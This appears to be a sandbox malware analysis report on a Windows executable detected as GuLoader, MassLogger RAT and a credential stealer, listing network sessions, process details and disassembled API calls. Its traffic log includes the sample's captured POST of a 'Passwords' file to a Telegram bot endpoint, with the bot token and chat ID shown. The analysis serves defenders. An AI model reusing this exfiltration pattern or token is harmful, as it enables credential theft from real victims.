2025-01-11 00:23:00 UTC	1390	IN	Data Raw: 07 7d 7e b7 00 0b f4 ff db 50 35 34 43 5a af 9c b6 d6 e1 37 45 d5 cf 61 57 b3 7c b8 6d a2 f3 64 f7 92 e2 b1 47 e7 01 17 1e 25 34 37 f6 7f 5d b0 0d 4c 70 57 ee 4d 8f 91 04 c1 94 a0 e3 29 7d fa 01 aa 7a a9 dd 2d 01 49 35 f0 04 71 71 e3 45 41 bc ca 61 49 df a3 31 d2 0d fe 48 85 59 9f c9 19 92 69 f7 e8 9d 3b b5 d1 e1 46 21 5e 2f 3e 16 ea 63 46 f1 9e 7c d9 d3 01 5e d4 01 05 ce 18 75 b5 8a 69 40 eb 87 07 cf 4a 68 5c a9 15 65 0a 77 41 d2 7f 31 dc bc fc ab 07 31 89 07 b0 c2 12 76 0e 00 45 7a 8a 28 58 23 2e 20 cb bd 89 40 2d 58 9b 11 67 47 6b d7 92 31 86 b9 12 19 a6 00 ef ea 30 8e 07 ba 4f 1b 5e 61 9c 80 ce 97 4d 84 0b bf b1 72 91 db 34 f4 ab 18 9e 98 5b 3f 66 61 99 66 90 d1 29 fc 52 8a 2b 2a 9e a9 5f e4 de a8 67 5e 4e 57 54 35 30 45 18 a2 5f 1b aa db 9b e5 9f c3 Data Ascii: }~P54CZ7EaW\|mdG%47]LpWM)}z-I5qqEAaI1HYi;F!^/>cF\|^ui@Jh\ewA11vEz(X#. @-XgGk10O^aMr4[?faf)R+*_g^NWT50E_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49709	104.21.32.1	443	6976	C:\Users\user\Desktop\4AMVusDMPP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:23:03 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-11 00:23:03 UTC	853	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:23:03 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1869772 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gDJZWTxKEPAYZjQCLaUSK37BeQw%2F383kTevRJ9Jf2ieeFFWkSLIVFm5LHjZLEGJtQu0gS3dptdU0VpE2ciE99chgfOXqWtskUxUPMHYU7HGFdaOsVILILJIAexW%2FANKZEiut5FJB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9000c1872c1ac327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1625&min_rtt=1619&rtt_var=619&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1751649&cwnd=189&unsent_bytes=0&cid=fe9db6dd7abb3317&ts=159&x=0"
2025-01-11 00:23:03 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49710	149.154.167.220	443	6976	C:\Users\user\Desktop\4AMVusDMPP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:23:10 UTC	296	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31ac374b9c14 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 00:23:10 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 61 63 33 37 34 62 39 63 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31ac374b9c14Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 00:23:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 00:23:10 GMT Content-Type: application/json Content-Length: 540 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 00:23:10 UTC	540	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 35 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 35 34 39 39 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":5547,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1736554990,"document":{"file_name

Target ID:	0
Start time:	19:22:15
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\4AMVusDMPP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4AMVusDMPP.exe"
Imagebase:	0x400000
File size:	997'399 bytes
MD5 hash:	ED6F1C14E085E4FBC7C47F894F2140B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1750077512.0000000003441000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:22:44
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\4AMVusDMPP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4AMVusDMPP.exe"
Imagebase:	0x400000
File size:	997'399 bytes
MD5 hash:	ED6F1C14E085E4FBC7C47F894F2140B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.6%
Total number of Nodes:	1592
Total number of Limit Nodes:	39

Executed Functions

Function 004034A5 Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\4AMVusDMPP.exe,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

\Temp, xrefs: 004036FF
C:\Users\user\Desktop, xrefs: 0040386C, 00403871, 0040389E
Low, xrefs: 0040371B
TMP, xrefs: 00403735
1033, xrefs: 00403749
TEMP, xrefs: 0040372D
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
Error launching installer, xrefs: 004037D0
.tmp, xrefs: 00403861
C:\Users\user\AppData\Local\Iw\Venke, xrefs: 004037F6
~nsu, xrefs: 00403845
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
NSIS Error, xrefs: 00403567
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
C:\Users\user\Desktop\4AMVusDMPP.exe, xrefs: 004038F8
SeShutdownPrivilege, xrefs: 0040396F

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Iw\Venke$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\4AMVusDMPP.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-391738697
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

N, xrefs: 00405057
, xrefs: 00405385
M, xrefs: 00404F76

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 6E881B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E88121B: GlobalAlloc.KERNEL32(00000040,?,6E88123B,?,6E8812DF,00000019,6E8811BE,-000000A0), ref: 6E881225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 6E881C6B
lstrcpyW.KERNEL32(00000008,?), ref: 6E881CB3
lstrcpyW.KERNEL32(00000808,?), ref: 6E881CBD
GlobalFree.KERNEL32(00000000), ref: 6E881CD0
GlobalFree.KERNEL32(?), ref: 6E881DB2
GlobalFree.KERNEL32(?), ref: 6E881DB7
GlobalFree.KERNEL32(?), ref: 6E881DBC
GlobalFree.KERNEL32(00000000), ref: 6E881FA6
lstrcpyW.KERNEL32(?,?), ref: 6E882140
GetModuleHandleW.KERNEL32(00000008), ref: 6E8821B5
LoadLibraryW.KERNEL32(00000008), ref: 6E8821C6
GetProcAddress.KERNEL32(?,?), ref: 6E882220
lstrlenW.KERNEL32(00000808), ref: 6E88223A

Memory Dump Source

Source File: 00000000.00000002.1796014178.000000006E881000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E880000, based on PE: true

Associated: 00000000.00000002.1795909568.000000006E880000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796060070.000000006E884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796249019.000000006E886000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e880000_4AMVusDMPP.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: cfdeab8c4702c0541aeff5220900c195febcf0c74fcefe0b15b947c9b8ae4100
Instruction ID: 18b198816ef40de4147471e01e9af2564d158e7bc1b2e8b4fa6ca35355937cd0
Opcode Fuzzy Hash: cfdeab8c4702c0541aeff5220900c195febcf0c74fcefe0b15b947c9b8ae4100
Instruction Fuzzy Hash: A622A971D1460ADEDBA48FE9C4906EFB7B4FB05305F104D2AD9B5E3280DB786A89CB50

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08
0WB, xrefs: 00405B53

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1432729950
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
